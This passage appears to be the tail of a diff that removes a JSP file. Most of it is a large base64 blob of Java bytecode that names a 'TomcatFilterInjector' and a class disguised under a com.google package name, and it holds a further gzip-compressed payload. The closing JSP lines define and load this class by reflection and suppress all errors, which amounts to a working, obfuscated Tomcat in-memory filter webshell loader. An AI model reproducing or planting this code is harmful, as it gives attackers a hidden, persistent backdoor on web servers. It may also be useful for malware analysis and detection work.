47AQANU3RhY2tNYXBUYWJsZQEADGRlY29kZXJDbGFzcwEAB2RlY29kZXIBAAdpZ25vcmVkAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAJYmFzZTY0U3RyAQASTGphdmEvbGFuZy9TdHJpbmc7AQAUTGphdmEvbGFuZy9DbGFzczwqPjsBAApFeGNlcHRpb25zAQAOY29tcHJlc3NlZERhdGEBAANvdXQBAB9MamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW07AQACaW4BAB5MamF2YS9pby9CeXRlQXJyYXlJbnB1dFN0cmVhbTsBAA9nemlwSW5wdXRTdHJlYW0BAB9MamF2YS91dGlsL3ppcC9HWklQSW5wdXRTdHJlYW07AQAGYnVmZmVyAQABbgEAAUkHAWgBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAEdmFyNQEAIExqYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb247AQADb2JqAQAEbmFtZQEABWZpZWxkAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEABWNsYXp6AQAMdGFyZ2V0T2JqZWN0AQAKbWV0aG9kTmFtZQcBcwEAK2phdmEvbGFuZy9yZWZsZWN0L0ludm9jYXRpb25UYXJnZXRFeGNlcHRpb24BAAV2YWx1ZQEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAHbWV0aG9kcwEAG1tMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAAWUBACFMamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbjsBACJMamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb247AQAKcGFyYW1DbGF6egEAEltMamF2YS9sYW5nL0NsYXNzOwEABXBhcmFtAQATW0xqYXZhL2xhbmcvT2JqZWN0OwEABm1ldGhvZAEACXRlbXBDbGFzcwEAFVtMamF2YS9sYW5nL0NsYXNzPCo+OwcBfAcBfgcBdwEACVNpZ25hdHVyZQEAYChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczwqPjtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEABGtleTEBABNMamF2YS91dGlsL0hhc2hNYXA7AQADa2V5AQALY2hpbGRyZW5NYXABAAZ0aHJlYWQBABJMamF2YS9sYW5nL1RocmVhZDsBAAd0aHJlYWRzAQAXTGphdmEvdXRpbC9IYXNoTWFwPCoqPjsBACYoKUxqYXZhL3V0aWwvTGlzdDxMamF2YS9sYW5nL09iamVjdDs+OwEACWNsYXp6Qnl0ZQEAC2NsYXNzTG9hZGVyAQAXTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBAAlmaWx0ZXJEZWYBAAlmaWx0ZXJNYXABAAJlMgEADGNvbnN0cnVjdG9ycwEAIFtMamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3I7AQAMZmlsdGVyQ29uZmlnAQAPTGphdmEvdXRpbC9NYXA7AQAOY2F0YWxpbmFMb2FkZXIBAA9maWx0ZXJDbGFzc05hbWUBAApmaWx0ZXJOYW1lAQAjW0xqYXZhL2xhbmcvcmVmbGVjdC9Db25zdHJ1Y3RvcjwqPjsHAZcHAaABACBqYXZhL2xhbmcvQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbgcBogEAIGphdmEvbGFuZy9JbnN0YW50aWF0aW9uRXhjZXB0aW9uAQAIPGNsaW5pdD4BAApTb3VyY2VGaWxlAQAZVG9tY2F0RmlsdGVySW5qZWN0b3IuamF2YQEAJGNvbS9nb29nbGUvZ3NvL1dkYm1KL1Nlc3Npb25EYXRhVXRpbAcBpgoBpwAJCgGnAB4KAacAIgEAJkxjb20vZ29vZ2xlL2dzby9XZGJtSi9TZXNzaW9uRGF0YVV0aWw7AQAhY29tLmdvb2dsZS5nc28udktHSGguRXJyb3JIYW5kbGVyCAGsAQ88SDRzSUFBQUFBQUFBLzZWWWVYd1R4eFgrUnBLOWtyeGdZaE1UY2NRY0FYd2lETVlZT3hCc1k3Q0RNUWttSklhR1ppMnZiWUdzVlZZcmc4blJ0RTNQOUpmUXUrbmROQTFObTdUUUJobUhoTkFMMmpTOXI3VDk5VXp2TTcyYk5vMzd6YTRrSkZ2R3YvenloMlpuWjk2OGVlOTc3MzB6cXlkZmVQUU1nSTJpeGc4WDNBbzhLZ3BRS0hEcEFXMUVDMGEwNkdDd0xhTEY0MTJHMXErYkFvVlhocU5oYTVPQXU2SnlqMXpqbFF0OEF2TXJ1dkl1YVhiRWlsU29tQ1ZRMUs4UGhLTzZMU0F3cjJKZmEyZG41ZVNWelY0VWM0ZVc5aDQvTGtHSmdsSVZjM0dwUUtrVVBCd01tYU14eXdpMmhXTkQwcWFpUWQzcWpNWXRMUnJTQlNxekRlbXh6SEIwc05uWllkTENaZ1h6Qk1welp1SXhQUlRzMFVPbWJtM1hSM3Y0NWtNQTh4VXNVTEVRaXdTYVE4WncwTlMxQTFyY2lBYmwya042WDNCWUg0N3JrVWpRTW9aRG1oVWNOUHFQaENNUkxiZ3QxZGthamxqU1V2ZEJmVlNnWktxQmZwUmpzWUlsS3BaaW1jQ2N5UUlDWGpyWk9tcnBSTTFUVWJtdjFZOHlMSmZZcjNCZ3pPUDBIb2xlaFlwS1ZIR1JqSnNVN1hRazQzb29ZWWF0MFNEOVRJbldxS2pGS2dHbDM5Z2FqbW9SUnB1S3VaZUMxU25zblEzYUQ0ZjBtQlUyb2dyV0NDeDNFSXpyNWtoRXQ0SkRsaFVMZHJEcGNRWjI2VGNuOUxpbG9GNWd4VXlpOFpnUmplc1M4d1lWNnlYZy9pRmRwbEczTnF3WG9RNGJWRFNoV2NCSE9EcDBKeWRYVEJ2eG5DR3BkYU9LVFZKcmthTjFqeFpKNkJMN3pTcGEwRXFVUTBiVTBzSlJvcndnSjZHSE5MTkhPc0lVYTY3Y0t5M1pvcUlkVzJrZ0xlblI0M0hDSWJDMElwMXFlWHkwWld3ek9sUjBTak04TVdhN1ZMWmRSWmQwUzZXeWF6U1R6akpmL0pUc1ZyRVQxM0NpVDR2ckRmVmI5SkRSenlRdnkrZXlUSW9BZHFub3dXNEJjWmlSWlB6MmN0eUxQWHlKYWFNUjFtUVJia0N2Z3IwcTl1RmxBcGRmM0Y3SHBoYUxlL1FsTEgxbXRIZjJIZEJERmpONlAxNnU0Q1lWR3ZweU10b1JjREk2eFFPbEZWTTV3STkrNkFvR1ZBeGlTS0I0MHJ6QTdQVDZORGNGcG1wSmNaREV4U3ViZ3lvaUdDWTQxNUxpWkhKUDJWYWlZNmlJNFdaNkhzL3hmR1VlejZjNlhybkhDMXJuajZYRGFBZllVREFpc01pV0RodEJXY2t0cHFtTjdreFlzWVJGWmJvMjdFY0NidW4ycUlvanVJVlpHdFVQWFNDMnVSVjVZRlp3bThEaUM4T091QlhXWkhsbTFla3JjcVVpRVgxUWk3U0VRZ3h5bHRRcnllTVhwSFlscUdoWXo4ejdjUWRlTFNublRvSExzckhZUFdRYWg3UytpRzRUeVg2OFZzWHI4SHJTQnl0R2k4UWwxSGx3WWhXdHhSdFYzSVUzT2ZWOFBmbEl4bkZlMmxFQ2RRMVJUazNZbFhPM2ludGs1YmlIKzlmSnduMnppcmZnclZ3ZlQvVEZVMVJaVnBGN3BtUTQ5dTE0aDRKM3FuZ1g3azN6V2U0V0FnV0haR2VTeFZtRXVoL3ZVZkZldkkvcGF4bHBiczZOVEdhN0JENmc0b09TejRzc0l4TnhtWWIzcWZndzdzOVVkWHMwWGRXNUdabDFPRHdnL1R3bTdjcm5XaEVleE1jVWZGekZRM2lZaFpCYjBzN3BRd29MczVxOWt0eWQwMmh6eFNTdXltWHM1dWxtSFpLMkUvMlRxY3BlbGJEQ2tWV3R0amN5ZzArbytCUStUYzRaTUd6cTVpa3hBMjJrRC82VERxTTZrSmdLeG5oZTdzdExEdU1xSHNWcEozVjI2TmFRMFo5eEtXZVhxYXV6OXpYMWdRalRNZWhvWUQwOXp0VFlsNC9QbnNCWkJaOVI4Vmw4anZrL25RWm1mVGc2WWh5a3l4dnlaSDBlelhtcTJvc3ZrTjkwRzRQZHFUUlRjRjdBSmJuOFM4eVVlQ0s2YWpnY0Q2MXFiZWxwVDJlUTZjV1haZFhaTDE1OHhZSFNPVE00OXpYTzlldk8zRGVtNnNqSWZZdUo2Y2kxSmdZR1pCQyt3eHpQbDFNOHdkcnN6QzN1NHFXdU96SGNwNXU3SlJISVM0NFIwaUo3TkRNczMxT0RIbXNvVERyWTJQVVNibEU4SmNVUmtzUTBWRStNUWp4dmZEM2h3YWhtSlV4ZGNsVWVvcit5YXBQVUZHSko1YjBjMHRnUnpheFBUMCs2K01pbGRFVElvMlN2d0t3ZVN3c2QzS0hGVW43dWUybVYxVFZ0L2JMb3VPTkE3aDB5bFRTYzROYlpPYmZMeWN6d2lMNHpwcHU1UndMRkN6WFQ1UG5ETzNDR2J2T2VTeFJWNHVuYndPS1o3amNFcmwrek5PWnZQTWRwM2pRdURncXpLSjRMUk5xeTZaRWlZWWNjWGx0d0VkQm92NWsyWXVYMDlrK3l4bXRtekpnY3p1a3VycVNQL3drc3ZKaWJDaVpTOTRCcHZWS0VTRjJWWnc0alN6elRqeXZDTStVK2w5Sjk0WkFYaFZsblgrZk9MRTNsazkxTVlXaEVCOEtEZHVhcEExa2pkUFJpOHZJN2d2NmFCcjk0RkllUzVQZWpjK0lKWERLRmxaMkthMkFCOTdHMENrYmszWndzbGNzam83RTBsOHpOWDlHS3cxemN5dDlqSk15UVRxTW9YWnBMSXF2a1dvRWxrb2NHRFdNd29nY0g0MFp3WlB1MmpxRmd1MmthWm9jVzdZK1ErMFNaRjUwK01ROGRQT3JXaGhyMDFYMk4yb1pRM2JvMWErbzFyNWd2cCthekxPcnEyclkwdERTdVg5ZTRvYkcrcm1GdFE5dmE5UzF0aldzYVd0YTBySzV2YmZPS1JWTDBidHAxSGZHcWJSblVvNVpYTEphRERaSVppWlZYTEpPdkd3V1dkYzFvV2JPZm90MnkyU1VicjJ3T3l1WStMR0hyZ3NDM2VWY1Q4cnVWbi9oQ2ZuSFl6M3RTei9XcDV5Yjc2V09QWC81c3Y4dTNlbnM5VUZFMUJsRlZLaTQ3S1FKOExEZ3BGdkp4K1VsUnpzZVNrMklwSDFlY0ZNdFBBTGF1QWx1UDFMQ09HbHg4VmxaVmowRjVFU3A0UCtkQ3FXSWpQTFlLWDFXMXUvck1HUHpIK2VMQzk5Z1cydGFWNDJtMlpZNFF2aTlXMkNwOCtCSE9jLzdIdHZSUDJPUDNVTXFxcDduU3cyZE55ZXhUbU5OZHUvQmVLSjVqOEJTY1JsbHYxU05pWVJLWGw4d2V3eFZKckt5dFRxTDZlTGM0N2lEQnorZ2czUGcxKzFmQ1BZRmllQlF4VDhFNW9mRGJXVFlUbk1vZWM3RVJFN2dNN3RTZ2xBcmE5cGNSS1dBNXJWbUJaVmhKM1JXb1l2dTBqYjJNd3pMOEZEL2pmbFgwNGVkNGhqMWFuZkd4QnIrd2ZaUzlYK0pYZHJRZXdtOGM0RndQVTBNUnNWeFVmUloxVFo2YXMxamJWQkR3MEwrbDQyaDA0Unllelhwaloza1NWOTJMSHdZODQyZ1RhQ3EwWndQanVOcUZVMkpsazFJVlVOeEpVZEdrQkFwTHJodkg5UzV1dmxUMlQ0dDV2VlZKM0poRWFFeFVCcFNrcUJwSDFJMWp1Q3ZnS1RFRHlqZ3NOMDRqMFR1R1EwM2V6UEt6NkUvaWNKUHZHSXFiL0tkeFIyL0FQNFpYUFJId0JieEp2T1o2UGozMnMyQWNieERTd25MM25EbEpIRTNpYlFGZkV1L096RWo1OTN0bzJ5bFJMU2N2TEpEeUgrSFFNUlRWVnRlTTQ2UFNxbGxOaGVtWEU0VDBLRDZFKzNGcjZuazdWRkVzU2pKaGpzQTd3VW12SGIzbkZieWc0RUVGZFFyV0tyaUI4UVFtR0RyZmROTUtQd0NFSXZBOGloVHNuMkFXRms0VlpiU1VWbWFGejA2TEE1alBkalhEWHdlVmswRW1ReU5McVFNTnVKWUZleVBmYmtVVHY2NmFhZk1tV3QxQ3U2L0NBOWlNNDJqRktiUVIyaTBzL0hiOEFGdnhGMndUSGx6TnROc3VpckdUdnUwUWM5RXRGbEtiVExVN01ZczYzUGd0ZnNleWVRQisvQjUvWUhzVUZ2NklQOEZMcmJ0VHM0MTRDbi9HczdTdEE0OVI4M2tvMU9YbGltYzR4bVJMSnlkN2Y4WGZaSEt5OTNmOFE1WW5lLy9FdjdoVElhbnAzM2lPUmFpS1MvQWYvQmNGd21VWHRFdTRoYVNyU2xyclNsRUk3TklXSnliVi9YVlpkUzh5TlNHRVY1QjliSFVlUHQzOCtUT01WbTNMNWxIV2F5dFRuY21VTXAvOFBIT3NFRHJsWkxFZUZsMGxuemlGNHp0cVNoNFJaNUZNNGxRTm40OGxjYWE3bGlWUThublA0K2p2ZFplYzYrRlVMVi8yOTdxcjJEOXpsdGVZWTlqUVhmSkZlN2xNZkkvTTd4dExuc3hlRXZCTVdWUFE1S2srYmhQcFJrWTR5R2pmek1nRTZaN016MHBKUTVzbHpURFh5bTF5bVdEU2VGTHZrbXZrMkhOMFM3cTdoazZDS2VUQ1RReWJoZ1hvbzlvRDFCQ2lZaDNiTUlBZEdPUVdZVzR5aEJFY3RLSHBvS1lGV0NxS21BWnVybXdVcXBoRkxUdHdoVDNtNGNyYTFGZ0wxb25aS2JZNnpKUTdiNE05SXVid2pCRU11Qk0xUjBjSmU4NUs5dEpSbzgwKytZK1hFN1Y4NEQrVkYveXZwcEFzbndyK09RZjhyMDhHLzV2WlN5YUJmKzVGZ0Y4dXFTQUxmUHM5UC9neEtvdlRmWXVBSn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"; - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - try{ - classLoader.loadClass(className).newInstance(); - }catch (Exception e){ - try { - java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); - defineClass.setAccessible(true); - byte[] bytecode = decodeBase64(base64Str); - Class clazz = (Class) defineClass.invoke(classLoader, bytecode, 0, bytecode.length); - clazz.newInstance(); - } catch (Exception ignored) { - } - } -%> \ No newline at end of file